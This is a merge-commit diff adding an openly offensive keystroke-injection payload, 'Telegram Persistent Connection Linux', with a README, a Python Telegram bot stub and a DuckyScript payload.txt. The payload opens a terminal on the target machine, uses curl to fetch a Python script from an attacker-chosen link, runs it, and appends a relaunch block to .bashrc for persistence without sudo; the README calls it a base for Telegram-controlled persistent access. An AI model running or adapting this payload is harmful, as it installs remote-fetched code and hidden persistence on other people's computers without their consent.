Merge pull request #193 from aleff-github/master-1

Telegram Persistent Connection Linux

payloads/library/execution/Telegram_Persistent_Connection_Linux/README.md

@@ -0,0 +1,54 @@
+# Telegram Persistent Connection
+
+A script used to configure a persistent connection on a Linux computer trough a pre-configured Telegram Bot.
+
+**Category**: Execution
+
+## Description
+
+A script used to configure a persistent connesction on a Linux computer trough a pre-configured Telegram Bot.
+
+Opens a shell, download the python script trough the `curl` command outputing the file into a `connection.py` file using `-o` option, then run it and set the run of the program as a default command every times a shell is runned.
+
+This payload is intended as a basic reference point for developing payloads on a persistent connection Telegram based.
+
+## Getting Started
+
+### Dependencies
+
+* Internet Connection
+
+### Settings
+
+- **Telegram Bot**: You should configure a bot trough Telegram. If you don't know how to do this, follow the guide about [Telegram Bot guide](#telegram-bot-guide). When you have create your personal Telegram Bot you should get the Telegram bot ID that you must put into the variable BOT_TOKEN at line 4 in the Python file as you can read in the line 3 comment.
+- **Python Script**: Download, edit as you want and upload the python script somewhere you want and put the file link into the file payload.txt replacing the example link.
+- **Persistence**: I preferred to create a mechanism that would allow you to create *some* persistence, not quite total, but you can have a high level of persistence. In this specific case, no permissions are needed, because it is sufficient to insert some lines in the .bashrc file that allow to keep the connection to Telegram open from the first time the user opens the terminal. Most of other mechanism needs the sudo permissions. 
+
+### Telegram Bot Guide
+
+1. Search for `@botfather` in Telegram.
+2. Start a conversation with BotFather by clicking on the Start button.
+3. Type /newbot, and follow the prompts to set up a new bot.
+4. Select and copy the Bot Token that you can see after the registration and past it into the `BOT_TOKEN` python variable that you find in the `connection.py` file at line 3.
+
+## Credits
+
+<h2 align="center"> Aleff :octocat: </h2>
+<div align=center>
+<table>
+  <tr>
+    <td align="center" width="96">
+      <a href="https://github.com/aleff-github">
+        <img src=https://github.com/aleff-github/aleff-github/blob/main/img/github.png?raw=true width="48" height="48" />
+      </a>
+      <br>Github
+    </td>
+    <td align="center" width="96">
+      <a href="https://www.linkedin.com/in/alessandro-greco-aka-aleff/">
+        <img src=https://github.com/aleff-github/aleff-github/blob/main/img/linkedin.png?raw=true width="48" height="48" />
+      </a>
+      <br>Linkedin
+    </td>
+  </tr>
+</table>
+</div>

payloads/library/execution/Telegram_Persistent_Connection_Linux/connection.py

@@ -0,0 +1,11 @@
+from telebot import TeleBot
+
+# Set here the Telegram bot token
+BOT_TOKEN = ""
+bot = TeleBot(BOT_TOKEN)
+
+@bot.message_handler(commands=['start'])
+def send_welcome(message):
+	bot.reply_to(message, "Ok it works")
+
+bot.infinity_polling()

payloads/library/execution/Telegram_Persistent_Connection_Linux/payload.txt

@@ -0,0 +1,25 @@
+REM #######################################################
+REM #                                                     |
+REM # Title        : Telegram Persistent Connection Linux |
+REM # Author       : Aleff                                |
+REM # Version      : 1.0                                  |
+REM # Category     : Execution                            |
+REM # Target       : Linux                                |
+REM #                                                     |
+REM #######################################################
+
+REM Requirements:
+REM     - Internet Connection
+
+REM Here you must put your own file link
+DEFINE #PYTHON-SCRIPT-LINK https://www.example.com/connection.py
+
+DELAY 1000
+CTRL-ALT t
+DELAY 2000
+
+STRINGLN_BLOCK
+	curl -o connection.py #PYTHON-SCRIPT-LINK; python3 connection.py; echo "if ! pgrep -f connection.py >/dev/null; then
+	python3 connection.py &
+	fi" >> .bashrc; exit
+END_STRINGLN